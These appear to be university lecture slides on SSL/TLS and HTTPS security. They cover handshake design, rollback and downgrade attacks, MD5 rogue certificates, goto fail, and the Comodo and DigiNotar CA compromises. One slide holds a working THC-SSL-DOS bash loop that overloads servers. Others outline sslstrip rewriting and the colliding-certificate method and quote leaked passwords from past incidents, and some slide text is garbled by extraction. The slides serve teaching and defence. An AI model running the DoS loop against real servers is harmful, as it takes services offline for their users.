

*Slides borrowed from Vitaly Shmatikov



◆ Kaufman. Chapters 15.1-7 and 19.

What Is SSL/TLS?

Secure Sockets Layer and Transport Layer Security protocols

- Same protocol design, different crypto algorithms
- De facto standard for Internet security
 - "The primary goal of the TLS protocol is to provide privacy and data integrity between two communicating applications"
- Deployed in every Web browser; also VoIP, payment systems, distributed systems, etc.

SSL / TLS Guarantees

- End-to-end secure communications in the presence of a network attacker
 - Attacker completely 0wns the network: controls Wi-Fi, DNS, routers, his own websites, can listen to any packet, modify packets in transit, inject his own packets into the network

 Scenario: you are reading your email from an Internet café connected via a r00ted Wi-Fi access point to a dodgy ISP in a hostile authoritarian country

History of the Protocol

- SSL 1.0 internal Netscape design, early 1994?
 - Lost in the mists of time
- SSL 2.0 Netscape, Nov 1994
 - Several weaknesses
- SSL 3.0 Netscape and Paul Kocher, Nov 1996

◆ TLS 1.0 – Internet standard, Jan 1999

- Based on SSL 3.0, but not interoperable (uses different cryptographic algorithms)
- TLS 1.1 Apr 2006
- ◆ TLS 1.2 Aug 2008

SSL Basics

SSL consists of two protocols

- Handshake protocol
 - Uses public-key cryptography to establish several shared secret keys between the client and the server

Record protocol

 Uses the secret keys established in the handshake protocol to protect confidentiality, integrity, and authenticity of data exchange between the client and the server

SSL Handshake Protocol

Runs between a client and a server

- For example, client = Web browser, server = website
- Negotiate version of the protocol and the set of cryptographic algorithms to be used
 - Interoperability between different implementations
- Authenticate server and client (optional)
 - Use digital certificates to learn each other's public keys and verify each other's identity
 - Often only the server is authenticated
- Use public keys to establish a shared secret

Handshake Protocol Structure



ClientHello



ClientHello (RFC)



ServerHello



ServerKeyExchange



ClientKeyExchange



ClientKeyExchange (RFC)

struct {

select (KeyExchangeAlgorithm) {

case rsa: EncryptedPreMasterSecret;

- case diffie_hellman: ClientDiffieHellmanPublic;
- } exchange_keys
- } ClientKeyExchange

struct {

ProtocolVersion client_version;

opaque random[46];-

} PreMasterSecret

Where do random bits come from?

Random bits from which symmetric keys will be derived (by hashing them with nonces)

Debian Linux (2006-08)



A line of code commented out from md_rand

- MD_Update(&m,buf,j); /* purify complains */
- Without this line, the seed for the pseudo-random generator is derived only from process ID
 - Default maximum on Linux = 32768
- Result: <u>all</u> keys generated using Debian-based
 OpenSSL package in 2006-08 are predictable
 - "Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key material for use in X.509 certificates and session keys used in SSL/TLS connections"

"Core" SSL 3.0 Handshake

C			
-	C and S sh secret key material (secr switch to keys derived from secret _c , N _c , N _s	are ret _c) at this point <i>switch to keys derived</i> <i>from secret_c, N_c, N_s</i>	S

Version Rollback Attack



SSL 2.0 Weaknesses (Fixed in 3.0)

Cipher suite preferences are not authenticated

• "Cipher suite rollback" attack is possible

- Weak MAC construction, MAC hash uses only 40 bits in export mode
- SSL 2.0 uses padding when computing MAC in block cipher modes, but padding length field is not authenticated
 - Attacker can delete bytes from the end of messages
- No support for certificate chains or non-RSA algorithms

"Chosen-Protocol" Attacks

- Why do people release new versions of security protocols? Because the old version got broken!
- New version must be backward-compatible
 - Not everybody upgrades right away
- Attacker can fool someone into using the old, broken version and exploit known vulnerabilities
 - Similar: fool victim into using weak crypto algorithms
- Defense is hard: must authenticate version early
- Many protocols had "version rollback" attacks
 - SSL, SSH, GSM (cell phones)

Version Check in SSL 3.0



Exploiting SSL for Denial of Service

https://www.thc.org/thc-ssl-dos/

2 simple commands in bash:

-----BASH SCRIPT BEGIN-----

thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done } for x in `seq 1 100`; do thc-ssl-dosit & done -----BASH SCRIPT END------

THC-SSL-DOS is a tool to verify the performance of SSL

Establishing a secure SSL connection requires 15x more processing power on the server than on the client

"THC-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet"

SSL/TLS Record Protection



Most Common Use of SSL/TLS



HTTPS and Its Adversary Model

HTTPS: end-to-end secure protocol for Web

 Designed to be secure against network attackers, including man-in-the-middle (MITM) attacks



 HTTPS provides encryption, authentication (usually for server only), and integrity checking

The Lock Icon



Goal: identify secure connection

- SSL/TLS is being used between client and server to protect against active network attacker
- Lock icon should only be shown when the page is secure against network attacker
 - Semantics subtle and not widely understood by users
 - Problem in user interface design

HTTPS Security Guarantees



- The origin of the page is what it says in the address bar
 - User must interpret what he sees remember amazonaccounts.com?
- Contents of the page have not been viewed or modified by a network attacker

Evolution of the Lock in Firefox

How about Firefox 4?

Firefox 3.6

🔀 google.com (https://www.google.com/accounts/ServiceLogin?se 🏠 🔻

bottom-right corner of browser window (status bar): 🔒

3.并从历史上的规则的。如此他们的问题并且从历史上的规则的。

Firefox 3.0

🗹 🕻 https://www.google.com/accounts/ServiceLogin?service=mail& 😭 🔻

bottom-right corner of browser window: www.google.com

Firefox 2.0

M https://www.google.com/accounts/ServiceLogin?service=mail&p; 🚔 🔻 🕨

bottom-right corner of browser window: www.google.com

[Schultze]

Combining HTTPS and HTTP

Page served over HTTPS but contains HTTP

- IE 7: no lock, "mixed content" warning
- Firefox: "!" over lock, no warning by default



• Safari: does not detect mixed content



 Flash does not trigger warning in IE7 and FF
 Network attacker can now inject scripts, hijack session

Mixed Content: UI Challenges





🕘 iGoogle - Mozilla Firefox	
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>Bookmarks</u> <u>T</u> ools <u>H</u> elp	ं
The second seco	🖉 🔹 🕒 🔍
Web Images <u>Video</u> <u>News</u> <u>Maps</u> <u>Gmail</u> <u>more</u> ▼	Classic Home Sign in
Google Search I'm Feeling Lucky	Advanced Search Preferences Language Tools

Mixed Content and Network Attacks

- Banks: after login, all content served over HTTPS
- Developer error: somewhere on bank site write <script src=http://www.site.com/script.js> </script>
 - Active network attacker can now hijack any session (how?)
- Better way to include content:

<script src=//www.site.com/script.js> </script>

• Served over the same protocol as embedding page

HTTP \rightarrow HTTPS and Back

Typical pattern: HTTPS upgrade

- Come to site over HTTP, redirect to HTTPS for login
- Browse site over HTTP, redirect to HTTPS for checkout

sslstrip: network attacker downgrades connection



- Rewrite to
- Redirect Location: https://... to Location: http://...
- Rewrite <form action=https://... > to <form action=http://...>

Can the server detect this attack?

Will You Notice?

[Moxie Marlinspike]







Authenticity of Public Keys



<u>Problem</u>: How does Alice know that the public key she received is really Bob's public key?

Distribution of Public Keys

- Public announcement or public directory
 - Risks: forgery and tampering
- Public-key certificate
 - Signed statement specifying the key and identity
 sig_{Alice}("Bob", PK_B)
- Common approach: certificate authority (CA)
 - An agency responsible for certifying public keys
 - Browsers are pre-configured with 100+ of trusted CAs
 - A public key for any website in the world will be accepted by the browser if certified by one of these CAs

Trusted Certificate Authorities

You have certificates on file that identify these certific	ate authorities:	
Certificate Name	Security Device	Ę
▷ TDC ▷ TDC Internet		*
▷ Thawte		
Thawte Consulting		
Thawte Consulting cc		
▷ thawte, Inc.		
The Go Daddy Group, Inc.		
The USERTRUST Network		
TÜRKTRUST Bilgi İletişim ve Bilişim Güvenliği Hizm	etleri A.Ş	
▷ Unizeto Sp. z o.o.		
▷ ValiCert, Inc.		
▷ VeriSign, Inc.		
▷ VISA		
▷ Wells Fargo		
Wells Fargo WellsSecure		
XRamp Security Services Inc		*
View Edit Import E	xport Delete	
CA Hierarchy

 Browsers, operating systems, etc. have trusted root certificate authorities

• Firefox 3 includes certificates of 135 trusted root CAs

 A Root CA signs certificates for intermediate CAs, they sign certificates for lower-level CAs, etc.

• Certificate "chain of trust"

- sig_{Verisign}("UT Austin", PK_{UT}), sig_{UT}("Vitaly S.", PK_{Vitaly})

 CA is responsible for verifying the identities of certificate requestors, domain ownership

Certificate Hierarchy



Example of a Certificate

Important fields

Certificate Signature Algorithm
Issuer
▲ Validity
Not Before
Not After
Subject
■Subject Public Key Info
Subject Public Key Algorithm
Subject's Public Key

Æxtensions

Field Value

Mod	dulu	13	(10)	24 k	oits	3):									
ac	73	14	97	b4	10	a3	aa	f4	c1	15	ed	cf	92	f3	9a
97	26	9a	cf	1b	e4	1b	dc	d2	c9	37	2f	d2	e6	07	1d
ad	b2	3e	f7	8c	2f	fa	a1	b7	9e	e3	54	40	34	3f	b9
e2	1c	12	8a	30	6b	0c	fa	30	6a	01	61	e9	7c	b1	98
2d	0d	c6	38	03	b4	55	33	7f	10	40	45	c5	c3	e4	d6
6b	9c	0d	d 0	8e	4f	39	0d	2b	d2	e9	88	cb	2d	21	a3
f1	84	61	3c	3a	aa	80	18	27	e6	7e	f7	b8	6a	0a	75
e1	bb	14	72	95	cb	64	78	06	84	81	eb	7b	07	8d	49

Cert	tificate Viewer:"*.gmail.com								
G	eneral <u>D</u> etails								
This certificate has been verified for the following uses:									
SSL Server Certificate									
	Issued To								
	Common Name (CN)	*.gmail.com							
	Organization (O)	Google Inc							
	Organizational Unit (OU)	<not certificate="" of="" part=""></not>							
	Serial Number	65:F8:33:2D:6B:CB:67:BC:AD:3A:B0:A9:98:80:28:49							
	Issued By								
	Common Name (CN)	Thawte Premium Server CA							
	Organization (O)	Thawte Consulting cc							
	Organizational Unit (OU)	Certification Services Division							
	Validity								
	Issued On	9/25/2008							
	Expires On	9/25/2010							
	Fingerprints								
	SHA1 Fingerprint	B7:A7:89:34:54:5D:C9:6F:41:FD:A9:3E:41:AF:2B:1D:13:C8:CC:AD							
	MD5 Fingerprint	55:5F:09:17:24:03:F7:80:2B:B6:90:26:3B:0B:E3:3B							

Common Name

- Explicit name: www.foo.com
- Wildcard: *.foo.com or www*.foo.com
- Matching rules
 - Firefox 3: * matches anything
 - Internet Explorer 7: * must occur in the leftmost component, does not match '.'

- *.foo.com matches a.foo.com, but not a.b.foo.com

International Domain Names

- Rendered using international character set
- Chinese character set contains characters that look like / ? = .
 - What could go wrong?
- Can buy a certificate for *.foo.cn, create any number of domain names that look like
 - www.bank.com/accounts/login.php?q=me.foo.cn
 - What does the user see?
 - *.foo.cn certificate works for all of them!

Example



Meaning of Color



Mobile Browsing



Windows Phone 7: same behavior ... but only when URL bar present ... landscape mode: no URL bar

http://www.freedom-to-tinker.com/blog/sjs/web-browser-securityuser-interfaces-hard-get-right-and-increasingly-inconsistent

Extended Validation (EV) Certificates

Certificate request must be approved by a human lawyer at the certificate authority



Questions about EV Certificates

What does EV certificate mean?

- What is the difference between an HTTPS connection that uses a regular certificate and an HTTPS connection that uses an EV certificate?
- If an attacker has somehow obtained a non-EV certificate for bank.com, can he inject a script into https://bank.com content?
 - What is the origin of the script? Can it access or modify content that arrived from actual bank.com via HTTPS?
- What would the browser show blue or green?

When Should The Lock Be Shown?



- All elements on the page fetched using HTTPS For all elements:
- HTTPS certificate is issued by a certificate authority (CA) trusted by the browser
- HTTPS certificate is valid means what?
- Common Name in the certificate matches domain name in the URL

X.509 Authentication Service

- Internet standard (1988-2000)
- Specifies certificate format
 - X.509 certificates are used in IPsec and SSL/TLS
- Specifies certificate directory service
 - For retrieving other users' CA-certified public keys
- Specifies a set of authentication protocols
 - For proving identity using public-key signatures

 Can use with any digital signature scheme and hash function, but must hash before signing

Remember MD5?

X.509 Certificate

PROVE MARKEN STRATE RECEIPTING AND AND A MARKEN STRATE RECEIPTING AND A DECEMBER AND A DECEMBER AND A DECEMBER



Back in 2008

[Sotirov et al. "Rogue Certificates"]

Many CAs still used MD5

- RapidSSL, FreeSSL, TrustCenter, RSA Data Security, Thawte, verisign.co.jp
- Sotirov et al. collected 30,000 website certificates
- 9,000 of them were signed using MD5 hash
- ♦ 97% of those were issued by RapidSSL

Colliding Certificates

[Sotirov et al. "Rogue Certificates"]



Generating Collisions

[Sotirov et al. "Rogue Certificates"]

1-2 days on a cluster of 200 PlayStation 3's

Equivalent to 8000 desktop CPU cores or \$20,000 on Amazon EC2



Generating Colliding Certificates

[Sotirov et al. "Rogue Certificates"]

- RapidSSL uses a fully automated system
 - \$69 for a certificate, issued in 6 seconds
 - Sequential serial numbers

Technique for generating colliding certificates

- Get a certificate with serial number S
- Predict time T when RapidSSL's counter goes to S+1000
- Generate the collision part of the certificate
- Shortly before time T buy enough (non-colliding) certificates to increment the counter to S+999
- Send colliding request at time T and get serial number S+1000

Creating a Fake Intermediate CA

[Sotirov et al. "Rogue Certificates"]

serial number validity period		rogue CA cert
real cert domain	chosen prefix (difference)	rogue CA RSA key
name		rogue CA X.509 extensions
real cert RSA key	collision bits (computed)	Netscape Co Extension Contents ignored by
X.509 extensions	identical bytes	browsers)
signature	(copied from real cert)	signature

Result: Perfect Man-in-the-Middle

[Sotirov et al. "Rogue Certificates"]

-

This is a "skeleton key" certificate: it can issue fully trusted certificates for <u>any</u> site (why?)

Certificate	8	
General Details Certification Path		
Certification path Equifax Secure Global eBusiness CA-1 MD5 Collisions Inc. (http://www.phreedom.org/md5)		

To take advantage, need a network attack

• Insecure wireless, DNS poisoning, proxy autodiscovery, hacked routers, etc.

A Rogue Certificate

Certificate ?X
General Details Certification Path
Certification path
Equifax Secure Global eBusiness CA-1 MD5 Collisions Inc. (http://www.phreedom.org/md5) i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedo
<u>Vi</u> ew Certificate
Certificate status:
This certificate is OK.
OK

Remember Flame?

Cyber-espionage virus (2010-2012)

- Signed with a fake intermediate CA certificate that appears to be issued by Microsoft and thus accepted by any Windows Update service
 - Fake intermediate CA certificate was created using an MD5 chosen-prefix collision against an obscure Microsoft Terminal Server Licensing Service certificate that was enabled for code signing and still used MD5
- MD5 collision technique possibly pre-dates Sotirov et al.'s work
 - Evidence of state-level cryptanalysis?

SSL/TLS Handshake



SSL/TLS Handshake



Failing to Check Hostname





"Researchers at the University of Texas at Austin and Stanford University have discovered that poorly designed APIs used in SSL implementations are to blame for vulnerabilities in many critical non-browser software packages. Serious security vulnerabilities were found in programs such as Amazon's EC2 Java library, Amazon's and PayPal's merchant SDKs, Trillian and AIM instant messaging software, popular integrated shopping cart software packages, Chase mobile banking software, and several Android applications and libraries. SSL connections from these programs and many others are vulnerable to a man in the middle attack."

- Threatpost (Oct 2012)

Major payment processing gateways, client software for cloud computing, integrated e-commerce software, etc.

What Happens After Validation?



Goto Fail

Mac OS X

Here is PayPal's certificate

... verify the signature on the DH value using the public key from the certificate

- if ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0)
 goto fail;
- if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
 goto fail;

if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
goto fail;

goto fail; 🗲 ???

if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
goto fail; ...

err = sslRawVerify(...); Signature is verified here

fail: ... return err ...

Complete Fail Against MITM

- Discovered in February 2014
- All OS X and iOS software vulnerable to man-in-the-middle attacks
 - Broken TLS implementation provides <u>no</u> protection against the very attack it was supposed to prevent
- What does this tell you about quality control for security-critical software?



Certificate Revocation

Revocation is <u>very</u> important

Many valid reasons to revoke a certificate

- Private key corresponding to the certified public key has been compromised
- User stopped paying his certification fee to the CA and the CA no longer wishes to certify him
- CA's certificate has been compromised!
- Expiration is a form of revocation, too
 - Many deployed systems don't bother with revocation
 - Re-issuance of certificates is a big revenue source for certificate authorities

Certificate Revocation Mechanisms

Online revocation service

• When a certificate is presented, recipient goes to a special online service to verify whether it is still valid

Certificate revocation list (CRL)

- CA periodically issues a signed list of revoked certificates
- Can issue a "delta CRL" containing only updates
- Q: Does revocation protect against forged certificates?

X.509 Certificate Revocation List



Some Questions About Certificates

How do CAs verify identities of domains to whom they issue certificates (domain validation)?

- Does your browser check whether the site's certificate has been revoked?
- What do you do when your browser warns you that the site's certificate has expired?
 - Most users click through, enter credentials

Over 40% of certs are self-signed – means what?

Invalid Certificate Warnings

http://news.netcraft.com/archives/2013/10/16/us-government-aiding-spying-against-itself.html

Aurora 🔻		_			
(A) Untrusted Connection	+				
+ Mttps://www.inform	natoreksperta.pl				
Services*	Risk Rating Since: April 2010 Rank: 1165665 PFS: X Site Report - [PL] PHP-Art		www.apple.com		
			🗯 www.apple.com	×	Reader
	This Connection is Untrusted You have asked Aurora to connect securely to www.informatoreksperta.pl, but we can't confirm that your connection is secure. Normally, when you try to connect securely, sites will present trusted identification to prove that you are going to the right place. However, this site's identity can't be verified. What Should I Do?		Safari can't verify the identity of the "www.informatoreksperta.pl". The certificate for this website is invalid. Y website that is pretending to be "www.info put your confidential information at risk. W website anyway?	website You might be connecting to a ormatoreksperta.pl", which cou Would you like to connect to the	ld
	If you usually connect to this site without problems, this error could mean that someone is trying to impersonate the site, and you shouldn't continue. Get me out of here! Technical Details	Always track	t www.informatereksperta.pl" when connectormatoreksperta.pl w.informatoreksperta.pl	ting to "www.informatoreksper	
	Www.inform the caper cape uses an invalid security connector The certificate is not trusted because the issuer certificate has expired. The certificate expired on 14/10/2010 10:17. The current time is 10/10/2013 14:51. (Error course control expired issuer certificate) I Understand the Risks	► Trust ► Details	www.informatoreksperta.pl Issued by: www.informator.kcoerta.pl Expired: Thursday, 14 October 2010 10:1 O This certificate has expired	.7:54 British Summer Time	
		?	Hide Certificate	Cancel Continu	Je





- Comodo is one of the trusted root CAs
 - Its certificates for any website in the world are accepted by every browser
- Comodo accepts certificate orders submitted through resellers
 - Reseller uses a program to authenticate to Comodo and submit an order with a domain name and public key, Comodo automatically issues a certificate for this site

Comodo Break-In



- An Iranian hacker broke into instantSSL.it and globalTrust.it resellers, decompiled their certificate issuance program, learned the credentials of their reseller account and how to use Comodo API
 - username: gtadmin, password: globaltrust
- Wrote his own program for submitting orders and obtaining Comodo certificates
- On March 15, 2011, got Comodo to issue 9 rogue certificates for popular sites
 - mail.google.com, login.live.com, login.yahoo.com, login.skype.com, addons.mozilla.org, "global trustee"

Consequences

- Attacker needs to first divert users to an attackercontrolled site instead of Google, Yahoo, Skype, but then...
 - For example, use DNS to poison the mapping of mail.yahoo.com to an IP address
- … "authenticate" as the real site
- ... decrypt all data sent by users
 - Email, phone conversations, Web browsing

Q: Does HTTPS help? How about EV certificates?

Message from the Attacker

http://pastebin.com/74KXCaEZ

- I'm single hacker with experience of 1000 hacker, I'm single programmer with experience of 1000 programmer, I'm single planner/project manager with experience of 1000 project managers ...
- When USA and Isarel could read my emails in Yahoo, Hotmail, Skype, Gmail, etc. without any simple little problem, when they can spy using Echelon, I can do anything I can. It's a simple rule. You do, I do, that's all. You stop, I stop. It's rule #1 ...
- Rule#2: So why all the world got worried, internet shocked and all writers write about it, but nobody writes about Stuxnet anymore?... So nobody should write about SSL certificates.
- Rule#3: I won't let anyone inside Iran, harm people of Iran, harm my country's Nuclear Scientists, harm my Leader (which nobody can), harm my President, as I live, you won't be able to do so. as I live, you don't have privacy in internet, you don't have security in digital world, just wait and see...
DigiNotar Break-In



- In June 2011, the same "ComodoHacker" broke into a Dutch certificate authority, DigiNotar
 - Message found in scripts used to generate fake certificates: "THERE IS NO ANY HARDWARE OR SOFTWARE IN THIS WORLD EXISTS WHICH COULD STOP MY HEAVY ATTACKS MY BRAIN OR MY SKILLS OR MY WILL OR MY EXPERTISE"

Security of DigiNotar servers

- All core certificate servers in a single Windows domain, controlled by a single admin password (Pr0d@dm1n)
- Software on public-facing servers out of date, unpatched
- Tools used in the attack would have been easily detected by an antivirus... if it had been present

Consequences of DigiNotar Hack

Break-in not detected for a month

- Rogue certificates issued for *.google.com, Skype, Facebook, www.cia.gov, and 527 other domains
- 99% of revocation lookups for these certificates originated from Iran
 - Evidence that rogue certificates were being used, most likely by Iranian government or Iranian ISPs to intercept encrypted communications
 - Textbook man-in-the-middle attack
 - 300,000 users were served rogue certificates

Another Message from the Attacker

http://pastebin.com/u/ComodoHacker

Most sophisticated hack of all time ... I' m really sharp, powerful, dangerous and smart!

- My country should have control over Google, Skype, Yahoo, etc. [...] I'm breaking all encryption algorithms and giving power to my country to control all of them.
- You only heards Comodo (successfully issued 9 certs for me -thanks by the way-), DigiNotar (successfully generated 500+ code signing and SSL certs for me -thanks again-), StartCOM (got connection to HSM, was generating for twitter, google, etc. CEO was lucky enough, but I have ALL emails, database backups, customer data which I'll publish all via cryptome in near future), GlobalSign (I have access to their entire server, got DB backups, their linux / tar gzipped and downloaded, I even have private key of their OWN globalsign.com domain, hahahaa)... BUT YOU HAVE TO HEAR SO MUCH MORE! SO MUCH MORE! At least 3 more, AT LEAST!

TrustWave



- In Feb 2012, admitted issuance of an intermediate CA certificate to a corporate customer
 - Purpose: "re-sign" certificates for "data loss prevention"
 - Translation: forge certificates of third-party sites in order to spy on employees' encrypted communications with the outside world
- Customer can now forge certificates for any site in world... and they will be accepted by any browser!
 - What if a "re-signed" certificate leaks out?
- Do other CAs do this?

TurkTrust

Güvenli Sunucu

In Jan 2013, a rogue *.google.com certificate was issued by an intermediate CA that gained its authority from the Turkish root CA TurkTrust

- TurkTrust accidentally issued intermediate CA certs to customers who requested regular certificates
- Ankara transit authority used its certificate to issue a fake *.google.com certificate in order to filter SSL traffic from its network

 This rogue *.google.com certificate was trusted by every browser in the world